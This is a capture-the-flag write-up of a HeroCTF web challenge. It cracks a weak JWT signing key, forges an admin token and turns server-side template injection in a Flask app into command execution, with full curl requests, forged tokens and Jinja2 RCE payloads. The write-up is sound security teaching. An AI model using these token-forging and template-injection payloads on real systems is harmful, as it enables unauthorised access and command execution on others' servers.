Introduction
One of your friends had an argument with a Flask developer. He tried to handle it on his own, but he ended up hitting a roadblock… Can you put your hacking skills to use and help him out?
You should probably be able to access the server hosting your target’s latest project, right? I heard they make a lot of programming mistakes…
Solution
Launching the challenge drops us on an error page:
curl 'http://dyn-06.heroctf.fr:13825/' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET / HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:02:58 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 70
< Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww; Path=/
< Connection: close
<
* Closing connection 0
<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>
A few things stand out:
- the server runs
Werkzeug 2.3.4andPython 3.10.6 - it sets a
tokencookie:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww - the body hints at operations via
op,n1, andn2
First Lead: Werkzeug
First thing to check: is the Werkzeug debug console on? If it is, /console is reachable and we may get Python execution for free.
curl 'http://dyn-06.heroctf.fr:13825/console' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /console HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:20 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 84
< Connection: close
<
* Closing connection 0
<h2>/console was not found</h2><br><p>Only routes / and /adminPage are available</p>
No console, but the 404 helpfully leaks that /adminPage exists:
curl 'http://dyn-06.heroctf.fr:13825/adminPage' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:06:49 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 22
< Connection: close
<
* Closing connection 0
<h2>Invalid token</h2>
The endpoint responds, but with 403 FORBIDDEN and Invalid token, so our token cookie isn’t good enough.
Second Lead: Session Token
Time to look at that token cookie. Three base64 parts separated by . points straight at a JWT.
jwt.io decodes it:

The content of the JWT is:
{
"role": "guest"
}
The JWT header is:
{
"typ": "JWT",
"alg": "HS256"
}
I started with the usual JWT tricks, alg: none and friends, but none landed.
The other classic is a weak signing key, so I threw jwt-cracker (npm install --global jwt-cracker) at it:
C:\>jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww
SECRET FOUND: key
Time taken (sec): 0.888
Attempts: 100000
The signing key is literally key.
With the secret in hand, we can forge a JWT with role: admin and set it as the token cookie.

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY
>
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:17:30 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 15
< Connection: close
<
* Closing connection 0
Welcome admin !
We’re admin now. But still no flag.
Third Lead: Injection / RCE
With little else to go on and the console disabled, an injection somewhere feels likely.
The only place user input gets reflected back is /adminPage: Welcome admin! on a valid token, Invalid token otherwise. Maybe the check is as crude as:
if role === "key":
return "Invalid token"
else:
return "Welcome " + role + "!"
If the role gets dropped into a template, SSTI is on the table. Quick test payload:
{
"role": "{{config}}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:23:37 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1145
< Connection: close
<
Sorry but you can't access this page, you're a '<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR&#* Closing connection 0
39;: None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>'
{{config}} renders the Flask config object, so the injection works and we have SSTI. Now to turn it into RCE and grab the flag.
Retrieving the Flag
From the Jinja2 section of HackTricks’ SSTI page, here’s an RCE payload that doesn’t depend on the __builtins__ layout:
{
"role": "{{ cycler.__init__.__globals__.os.popen('ls').read() }}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:27:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 65
< Connection: close
<
Sorry but you can't access this page, you're a 'app.py
flag.txt
* Closing connection 0
'
Two files in the working directory, app.py and flag.txt. So cat the flag:
{
"role": "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
}

curl 'http://dyn-06.heroctf.fr:13825/adminPage' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8' -v
* Trying 139.162.183.244:13825...
* Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0)
> GET /adminPage HTTP/1.1
> Host: dyn-06.heroctf.fr:13825
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8
>
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 14 May 2023 01:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 77
< Connection: close
<
Sorry but you can't access this page, you're a 'Hero{sst1_fl4v0ur3d_c0Ok1e}
* Closing connection 0
'
Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}
Tips & Tricks
- Always check error pages, as they sometimes share valuable information.
- In a Python application, always try SSTI (Server-Side Template Injection) on fields returned by the server.
- Always check the HTTP response headers.
- In a Flask application, session tokens can be cracked, and they are not always Flask tokens (like in this case, a JWT).
- Running
jwt-crackeron a JWT token can be very useful at the beginning of a CTF (Capture The Flag) if there is a weak secret. - Try template injections in JWTs, as sometimes they can lead to SSTI (Server-Side Template Injection).